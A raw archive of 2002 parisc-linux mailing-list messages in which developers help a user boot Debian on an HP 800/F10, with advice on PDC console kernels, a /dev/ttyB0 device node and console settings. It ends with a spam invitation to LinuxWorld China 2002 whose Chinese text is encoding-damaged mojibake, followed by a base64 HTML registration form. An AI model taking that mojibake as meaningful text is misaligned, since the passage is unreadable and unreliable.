X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15799

By the way that site also states that the F,G,H,I series are not
supported....fwiw.

derek

--- Thibaut VARENE <varenet@esiee.fr> wrote:
> On Mon, 12 Aug 2002 18:49:32 +0200
> Eric Boniface <eric_boniface@non.hp.com> wrote:
>  
> > I am ok to switch whatever it wants, but I don't really see what I
> can 
> > switch.
> For any information on PARISC-Linux boot sequence, you can get the
> latest (still under review) PARISC-Linux Boot HowTo here:
> http://testpa.esiee.fr/.test/parisc-linux-boot.[html|pdf]
> Look at the 'Consoles' section.
> 
> Any feedback about errors or precisions would be greatly appreciated.
> 
> 
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://pateam.esiee.fr/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do You Yahoo!?
HotJobs - Search Thousands of New Jobs
http://www.hotjobs.com


From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation issue on 800/F10.
Date: 12 Aug 2002 16:17:18 -0600
Lines: 59
Approved: news@gmane.org
Message-ID: <1029190638.635.28.camel@beavis>
References: <20020812220324.36057.qmail@web12508.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621615 12271 80.91.229.3 (22 Nov 2014 02:00:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:15 +0000 (UTC)
Cc: Eric Boniface <eric_boniface@non.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 16:17:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA4C44829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 16:17:20 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 5E4002B0E2; Mon, 12 Aug 2002 16:17:18 -0600 (MDT)
In-Reply-To: <20020812220324.36057.qmail@web12508.mail.yahoo.com>
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15800

That is true to a point.  There has been a some work done on the 
nova class systems mainly by Christoph Platner to get the E series
working, and I belive Christoph does have a root nfs E55 running.  The
problem with the nova class systems are that documentation is sparse
and very hard to obtain.

First thing you need to do is configure a kernel with the PDC console 
support.  the nova class systems do not have a hardware console solution
(The K-class systems have this same problem).  You could also try to
enable the EARLY_BOOTUP_DEBUG in arch/parisc/kernel/pdc_cons.c to see
if that helps.

Good luck!

- Ryan


On Mon, 2002-08-12 at 16:03, Derek Engelhaupt wrote:
> By the way that site also states that the F,G,H,I series are not
> supported....fwiw.
> 
> derek
> 
> --- Thibaut VARENE <varenet@esiee.fr> wrote:
> > On Mon, 12 Aug 2002 18:49:32 +0200
> > Eric Boniface <eric_boniface@non.hp.com> wrote:
> >  
> > > I am ok to switch whatever it wants, but I don't really see what I
> > can 
> > > switch.
> > For any information on PARISC-Linux boot sequence, you can get the
> > latest (still under review) PARISC-Linux Boot HowTo here:
> > http://testpa.esiee.fr/.test/parisc-linux-boot.[html|pdf]
> > Look at the 'Consoles' section.
> > 
> > Any feedback about errors or precisions would be greatly appreciated.
> > 
> > 
> > Thibaut VARENE
> > The PA/Linux ESIEE Team
> > http://pateam.esiee.fr/
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
> __________________________________________________
> Do You Yahoo!?
> HotJobs - Search Thousands of New Jobs
> http://www.hotjobs.com
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation issue on 800/F10.
Date: Tue, 13 Aug 2002 00:17:19 +0200
Organization: private
Lines: 78
Approved: news@gmane.org
Message-ID: <3D5833EF.7E12EACE@gmx.at>
References: <3D57E71C.3080402@non.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621616 12275 80.91.229.3 (22 Nov 2014 02:00:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:16 +0000 (UTC)
Cc: Parisc mailing list parisc <parisc-linux@lists.parisc-linux.org>
To: Eric Boniface <eric_boniface@non.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 16:17:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC1434829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 16:17:26 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020812221724.VKSJ2977.viefep14-int.chello.at@gmx.at>;
          Tue, 13 Aug 2002 00:17:24 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15801

Hello !

You are in similar position than I, the machines are not
supported for now. 

BUT, perhaps I can help you to go some further steps.
The machines have a proprietary bus system and also
proprietary interface chips.

To get my E55 running, I wrote a device driver using
the ROM console (used for the boot monitor) as system
console under Linux. 

Rebuild the linux kernel with CONFIG_PDC_CONSOLE enabled
and follow the help steps for setting up the machine:

1. create "/dev/ttyB0" as character device, major=60,
	minor=0 with
	
	mknod /dev/ttyB0 c 60 0

2. edit /etc/inittab to use ttyB0 instead of ttyS0 
	or tty1, ... to be able to login

3. add or change to kernel parameter line to use

	console=ttyB0

This should work, or let's say, should give process
in booting.

One further point: Be patient on this point of kernel
output. On some machines or dependent of the kernel 
version (or whatever), sometimes you have to wait up
to half a minute here ...

With friendly regards
Christoph


Eric Boniface wrote:
> 
> Hi all,
> well I try to install the latest Debian on my (very ? ) old HP9000
> 800/F10, but I have the following message :
> 
> "Branching to kernel entry point 0x00100000.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org"
> 
> I am ok to switch whatever it wants, but I don't really see what I can
> switch.
> For your information, I use a Wyse screen (a vt220 I think) plugged to
> the console port on a SCSI/Console/LAN card.
> 
> Any idea ?
> 
> Thanks in advance !
> Rgds,
> Eric.
> 
> --
> Eric Boniface - Hewlett Packard / HPS-IT Infrastructure Team Grenoble
> Tel.(+33) 4 76 14 30 17 / Telnet : 779-3017
> E-mail : eric_boniface@non.hp.com
> --- Want to know more about Linux on HP PARISC ? Take a look at http://www.parisc-linux.org
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation issue on 800/F10.
Date: Tue, 13 Aug 2002 00:23:40 +0200
Organization: ESIEE
Lines: 20
Approved: news@gmane.org
Message-ID: <20020813002340.53d3415a.varenet@esiee.fr>
References: <3D57E71C.3080402@non.hp.com>
	<3D5833EF.7E12EACE@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621616 12278 80.91.229.3 (22 Nov 2014 02:00:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:16 +0000 (UTC)
Cc: eric_boniface@non.hp.com, parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 16:23:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d072.dhcp212-198-140.noos.fr [212.198.140.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2B634829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 16:23:43 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.5) with SMTP id g7CMNeIA031716;
	Tue, 13 Aug 2002 00:23:41 +0200
In-Reply-To: <3D5833EF.7E12EACE@gmx.at>
X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15802

On Tue, 13 Aug 2002 00:17:19 +0200
Christoph Plattner <christoph.plattner@gmx.at> wrote:

> 
> Rebuild the linux kernel with CONFIG_PDC_CONSOLE enabled
> and follow the help steps for setting up the machine:
You can try one of the handy PDC enabled ISO/lifimages available at:
http://pateam.esiee.fr/cd-images/lifimages/
http://pateam.esiee.fr/cd-images/testing/

PDC enabled are tagged -PDC-
the latest one features 2.4.19-pa2 kernel

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "LINUX" <LINUX@LINUX.LINUX>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LinuxWorld China 2002ֻ뺯ѣ
Date: Tue, 13 Aug 2002 11:59:06 +0800
Lines: 469
Approved: news@gmane.org
Message-ID: <20020813040106.75B494829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="= Multipart Boundary 0813021159"
X-Trace: ger.gmane.org 1416621616 12281 80.91.229.3 (22 Nov 2014 02:00:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:16 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 22:01:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Liming Zhu (unknown [61.177.39.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 75B494829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 22:01:06 -0600 (MDT)
X-Priority: 3
X-Mailer: JiXing mailer V1.73 Design By JohnnieHuang
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15803

This is a multipart MIME message.

--= Multipart Boundary 0813021159
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit

      LinuxWorld China 2002ֻ뺯ѣ 


    LinuxWorld Chinaչޣ޹˾죬õżҵȨȫ֧֡

LinuxWorld ChinaּڴٽϢ̡רҵʿҵûLinuxӦá񼰹ĽӦгľ޴ǱƶLinuxϵͳLinuxƽ̨ĸӦĿԼڹ񾭼øڵĹ㷺ʹãƽҵϢ衣

ƣLinuxWorld China 2002

ʱ/ص㣺200293գ   йƵ
200295գ Ϻ  ʹ󶼴󷹵

⣺ ʵҵLinuxӦ

ʽ ֻ+Ʒչʾ

ֻ᣺ Ϊݽ۴ᡢרҵ󲿷֣ۼ50ೡ漰ɹѵȸ档

Ʒչʾ չʾҵµӲƷֱû̡רҵȽЧͨ

ѯ绰(010)83152644-127

򿪸еıдǽдϢȷϺ볡ȯڴ룡 

    >>Ϣĸе 

--= Multipart Boundary 0813021159
Content-Type: application/octet-stream;
	name=".htm"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename=".htm"

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5MaW51eFdvcmxkIENoaW5hIDIwMDLR
0MzWu+HR+8fruq88L3RpdGxlPg0KPE1FVEEgSFRUUC1FUVVJVj1Db250ZW50
LVR5cGUgQ09OVEVOVD0idGV4dC9odG1sOyBjaGFyc2V0PWdiMjMxMiI+DQo8
U1RZTEUgVFlQRT0idGV4dC9jc3MiPg0KPCEtLQ0KDQpCT0RZew0KICAgIEZP
TlQtRkFNSUxZOiDLzszlOw0KICAgIEZPTlQtU0laRTogOXB0Ow0KICAgIENP
TE9SOiMwMDAwMDANCn0NCi5wdDkgeyBmb250LWZhbWlseTogIsvOzOUiOyBm
b250LXNpemU6IDlwdH0NCg0KUA0Kew0KICAgIEZPTlQtRkFNSUxZOiAiy87M
5SI7IEZPTlQtU0laRTogOXB0OyBDT0xPUjojMDAwMDAwDQp9DQpIOSxURCxT
RUxFQ1QNCnsNCiAgICBGT05ULUZBTUlMWTogIsvOzOUiOyBGT05ULVNJWkU6
IDlwdA0KfQ0KDQpBOmxpbmsgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmV9DQpBOnZpc2l0ZWQgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmU7IGZvbnQtY29sb3I9Ymx1ZX0NCkE6aG92ZXIgeyAgZm9udC1mYW1p
bHk6ICLLzszlIjsgZm9udC1zaXplOiA5UFQ7Y29sb3I6I0ZENEEwNDsgIHRl
eHQtZGVjb3JhdGlvbjogbm9uZX0NCg0KLS0+DQoNCjwvc3R5bGU+DQoNCjxT
Q1JJUFQgbGFuZ3VhZ2U9amF2YXNjcmlwdD4gIA0KDQpmdW5jdGlvbiBWZXJp
ZnlJbnB1dCgpICANCnsgIA0KIA0KICAgIHZhciBuZXdEYXRlT2JqID0gbmV3
IERhdGUoKSAgDQoNCiAgICBzdHJGaXJzdG5hbWUgPSBkb2N1bWVudC5mcm1V
c2VySW5mby5GaXJzdG5hbWUudmFsdWU7ICANCiAgICBpZiAoc3RyRmlyc3Ru
YW1lID09ICIiKSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE
+rXE0NXD+yEgIik7ICANCiAgICAgICAgZG9jdW1lbnQuZnJtVXNlckluZm8u
Rmlyc3RuYW1lLmZvY3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZhbHNlOyAg
DQogICAgfSAgDQoJDQoJDQogCWlmIChkb2N1bWVudC5mcm1Vc2VySW5mby50
aXRsZS5zZWxlY3RlZEluZGV4ID09IDApDQoJCXsNCgkJYWxlcnQoIsfr0aHU
8cT6tcTQ1LHwIik7DQoJCWRvY3VtZW50LmZybVVzZXJJbmZvLnRpdGxlLmZv
Y3VzKCk7DQoJCXJldHVybiBmYWxzZTsNCgkJfQ0KIA0KICAgICBzdHJqb2J0
aXRsZW5hbWUgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5qb2JfdGl0bGUudmFs
dWU7ICANCiAgICBpZiAoc3Ryam9idGl0bGVuYW1lID09ICIiKSAgDQogICAg
eyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXE0NDV/tawzvEhICIpOyAg
DQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmpvYl90aXRsZS5mb2N1
cygpOyAgDQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQ0K
CXN0cmNvbXBhbnkgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5jb21wYW55LnZh
bHVlOyAgDQogICAgaWYgKHN0cmNvbXBhbnkgPT0gIiIpICANCiAgICB7ICAN
CiAgICAgICAgYWxlcnQoIsfryuTI68T6tcS1pc67w/uzxiEgIik7ICANCiAg
ICAgICAgZG9jdW1lbnQuZnJtVXNlckluZm8uY29tcGFueS5mb2N1cygpOyAg
DQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQkNCglzdHJj
b21hZGQgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5jb21fYWRkLnZhbHVlOyAg
DQogICAgaWYgKHN0cmNvbWFkZCA9PSAiIikgIA0KICAgIHsgIA0KICAgICAg
ICBhbGVydCgix+vK5MjrxPq1xM2o0ba12Na3ISAiKTsgIA0KICAgICAgICBk
b2N1bWVudC5mcm1Vc2VySW5mby5jb21fYWRkLmZvY3VzKCk7ICANCiAgICAg
ICAgcmV0dXJuIGZhbHNlOyAgDQogICAgfSAgDQoJDQoJc3RycG9zdGNvZGUg
PSBkb2N1bWVudC5mcm1Vc2VySW5mby5wb3N0Y29kZS52YWx1ZTsgIA0KICAg
IGlmIChzdHJwb3N0Y29kZSA9PSAiIikgIA0KICAgIHsgIA0KICAgICAgICBh
bGVydCgix+vK5MjrxPq1xNPK1f6x4MLrISAiKTsgIA0KICAgICAgICBkb2N1
bWVudC5mcm1Vc2VySW5mby5wb3N0Y29kZS5mb2N1cygpOyAgDQogICAgICAg
IHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQkNCiAgCWlmIChkb2N1bWVu
dC5mcm1Vc2VySW5mby5wcm92aW5jZS5zZWxlY3RlZEluZGV4ID09IDApDQoJ
CXsNCgkJYWxlcnQoIsfr0aHU8cT6y/nU2rXEyqG33aOhIik7DQoJCWRvY3Vt
ZW50LmZybVVzZXJJbmZvLnByb3ZpbmNlLmZvY3VzKCk7DQoJCXJldHVybiBm
YWxzZTsNCgkJfQ0KDQoNCglzdHJ0ZWxlcGhvbmUgPSBkb2N1bWVudC5mcm1V
c2VySW5mby50ZWxlcGhvbmUudmFsdWU7ICANCiAgICBpZiAoc3RydGVsZXBo
b25lID09ICIiKSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE
+rXEtee7sLrFwuujoSAiKTsgIA0KICAgICAgICBkb2N1bWVudC5mcm1Vc2Vy
SW5mby50ZWxlcGhvbmUuZm9jdXMoKTsgIA0KICAgICAgICByZXR1cm4gZmFs
c2U7ICANCiAgICB9ICANCgkNCglzdHJmYXggPSBkb2N1bWVudC5mcm1Vc2Vy
SW5mby5mYXgudmFsdWU7ICANCiAgICBpZiAoc3RyZmF4ID09ICIiKSAgDQog
ICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXEtKvV5rrFwuujoSAi
KTsgIA0KICAgICAgICBkb2N1bWVudC5mcm1Vc2VySW5mby5mYXguZm9jdXMo
KTsgIA0KICAgICAgICByZXR1cm4gZmFsc2U7ICANCiAgICB9ICANCg0KCXN0
cmVtYWlsID0gZG9jdW1lbnQuZnJtVXNlckluZm8uZW1haWwudmFsdWU7ICAN
CiAgICBpZiAoc3RyZW1haWwgPT0gIiIpICANCiAgICB7ICANCiAgICAgICAg
YWxlcnQoIsfryuTI68T6tcRFLW1haWy12Na3o6EgIik7ICANCiAgICAgICAg
ZG9jdW1lbnQuZnJtVXNlckluZm8uZW1haWwuZm9jdXMoKTsgIA0KICAgICAg
ICByZXR1cm4gZmFsc2U7ICANCiAgICB9IAkNCg0KCXN0cmNvbV9tYW5hZ2Vy
ID0gZG9jdW1lbnQuZnJtVXNlckluZm8uY29tX21hbmFnZXIudmFsdWU7ICAN
CiAgICBpZiAoc3RyY29tX21hbmFnZXIgPT0gIiIpICANCiAgICB7ICANCiAg
ICAgICAgYWxlcnQoIsfryuTI68T6tcS5q8u+19y+rcDt0NXD+6OhICIpOyAg
DQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV9tYW5hZ2VyLmZv
Y3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZhbHNlOyAgDQogICAgfSAJDQoN
CglzdHJkZXBfbWFuYWdlciA9IGRvY3VtZW50LmZybVVzZXJJbmZvLmRlcF9t
YW5hZ2VyLnZhbHVlOyAgDQogICAgaWYgKHN0cmRlcF9tYW5hZ2VyID09ICIi
KSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXEsr/Dxbi6
1PDIy7XE0NXD+6OhICIpOyAgDQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJ
bmZvLmRlcF9tYW5hZ2VyLmZvY3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZh
bHNlOyAgDQogICAgfSANCglzdHJjb210eXBlMSA9IGRvY3VtZW50LmZybVVz
ZXJJbmZvLmNvbV90eXBlMS52YWx1ZTsNCgkgIA0KICAgIGlmIChkb2N1bWVu
dC5mcm1Vc2VySW5mby5kd2xiWzBdLmNoZWNrZWQpICANCiAgICB7ICAgICAg
DQoJCWlmIChzdHJjb210eXBlMSA9PSAiIikgIA0KCQkgeyAgDQogICAgICAg
CSBhbGVydCgix+vRodTxuavLvsDgsfAhICIpOyAgDQogICAgICAgIGRvY3Vt
ZW50LmZybVVzZXJJbmZvLmNvbV90eXBlMS5mb2N1cygpOyAgDQogICAgICAg
IHJldHVybiBmYWxzZTsgIA0KICAgIH0NCiAgICB9ICAgDQoNCglzdHJjb210
eXBlMiA9IGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV90eXBlMi52YWx1ZTsN
CgkgIA0KICAgIGlmIChkb2N1bWVudC5mcm1Vc2VySW5mby5kd2xiWzFdLmNo
ZWNrZWQpICANCiAgICB7ICAgICAgDQoJCWlmIChzdHJjb210eXBlMiA9PSAi
IikgIA0KCQkgeyAgDQogICAgICAgCSBhbGVydCgix+vRodTxuavLvsDgsfAh
ICIpOyAgDQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV90eXBl
Mi5mb2N1cygpOyAgDQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0N
CiAgICB9ICAgDQogICAgcmV0dXJuIHRydWU7ICAgDQp9ICANCjwvU0NSSVBU
Pg0KDQo8L2hlYWQ+DQoNCjxib2R5IGJnY29sb3I9IiNGRkZGRkYiIHRleHQ9
IiMwMDAwMDAiIGxlZnRtYXJnaW49IjAiIHRvcG1hcmdpbj0iMCI+DQoNCjx0
YWJsZSB3aWR0aD0iNTAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBj
ZWxscGFkZGluZz0iMCI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTIgaGVpZ2h0
PTQgYmdjb2xvcj0jMDAwMDAwPjwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJPHRk
IHdpZHRoPTQgYmdjb2xvcj0jMDAwMDAwPjwvdGQ+DQoJPHRkPjxpbWcgc3Jj
PWh0dHA6Ly9hZC5oZXJtZXMuY29tLmNuL2xpbnV4d29ybGQvaW1hZ2VzL2Jn
LmdpZiB3aWR0aD00OTYgaGVpZ2h0PTk5IGJvZWRlcj0wPjwvdGQ+DQoJPC90
cj4NCgk8dGQgd2lkdGg9NCBiZ2NvbG9yPSMwMDAwMDA+PC90ZD4NCgk8dGQg
YWxpZ249Y2VudGVyIGJhY2tncm91bmQ9aHR0cDovL2FkLmhlcm1lcy5jb20u
Y24vbGludXh3b3JsZC9pbWFnZXMvYmdfMC5naWY+DQoNCjx0YWJsZSB3aWR0
aD0iNDgwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGlu
Zz0iMyI+DQoJPHRyPg0KCTx0ZD4NCqGhoaFMaW51eFdvcmxkIENoaW5h08nK
wNW5sqnAwKOo0cfW3qOp09DP3rmry77W97Dso6y1w7W9wcvV/riusr/Dxbyw
0rW958iozf67+rm5tcTIq8Gm1qez1qGjPGJyPjxicj6hoaGhTGludXhXb3Js
ZCBDaGluYda81Nq02b34ufrE2s3i0MXPory8yvWzp8nMoaLXqNK1yMvKv7rN
xvPStdPDu6fU2kxpbnV4v6q3oqGi06bTw6Git/7O8bywudzA7dTL1/e3vcPm
tcS9u8H30+u6z9f3o6y/qr7y06bTw8rQs6G1xL7etPPHscGmo6zNxravTGlu
dXiy2df3z7XNs7ywu/nT2kxpbnV4xr3MqLXEuPfW1tOm08PI7bz+tcS/qrei
o6zS1Lyw1Nq5+sPxvq28w7j3uPbB7NPyxNq1xLnjt7rKudPDo6zNxr341f64
rrywxvPStdDFz6K7r72oyeihozxicj48YnI+DQoNCqGhoaE8Yj7D+7PGo7o8
L2I+oaGhoaGhTGludXhXb3JsZCBDaGluYSAyMDAyPGJyPjxicj4NCqGhoaE8
Yj7KsbzkL7XYteOjujwvYj4yMDAyxOo51MIzyNWjrCC549bdIKHxINbQufq0
